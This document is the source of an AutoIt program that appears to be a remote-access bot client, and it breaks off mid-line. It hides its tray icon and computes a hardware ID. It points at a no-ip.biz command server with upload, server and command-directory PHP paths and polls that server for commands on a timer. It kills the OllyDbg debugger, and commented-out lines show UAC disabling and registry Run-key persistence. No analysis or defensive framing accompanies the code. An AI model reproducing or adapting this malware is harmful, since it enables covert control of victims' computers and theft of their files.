#NoTrayIcon ;#RequireAdmin #include #include #include #include #include ;Mutex ;------ ;Singleton("7563545689855477") ;HWID ;------ Global $hwid = id() ;disable uac ;------ if IsAdmin() Then ;_Disable_UAC() EndIf ;SETTING VARIABLES ;------ $mainHome = "http://jlibs8080.no-ip.biz" ;main domain $mainDir = "/bnt2/" $upshot = $mainHome & $mainDir & "u.php" ;path to upload file $serverHome = $mainHome & $mainDir & "s.php" ;path to server file $cmdDir = $mainHome & $mainDir & "dir.php" ;path to commandDir file ;------above = url[/]------below = local path[\]------ $subDir = "\n0625d6982e9krf824\" $filei = "\jhgr78.log" ;update log - make random VIA builder ;------ $interv = 5 $counter = $interv * 1000 * 60 ;15 minutes ;------ $timeInit = TimerInit() Global $result Global $ip = @IPAddress1 ;Do On Start Up ;------ ;FileMove(@ScriptFullPath, @TempDir & $subDir & "hvn.exe", 9) if(FileExists(@TempDir & $subDir) <> 1) Then DirCreate(@TempDir & $subDir) EndIf ;$reg = RegWrite('HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', @ScriptName, 'REG_SZ', @TempDir & $subDir & 'hvn.exe') ;_Run(@ScriptFullPath) ;Anti Debugger ;------ $process = "OLLYDBG.EXE" If ProcessExists($process) Then ProcessClose($process) EndIf ;Initial update ;------ _Update($filei) ;UPDATE ;------ While 1 While 1 $updateTime = TimerDiff($timeInit) if $updateTime > $counter Then ;ConsoleWrite("test") ;$command = InetRead($cmdDir,1) $Command = _Update($filei) if $command == "-1" Or StringLeft($command,3) == "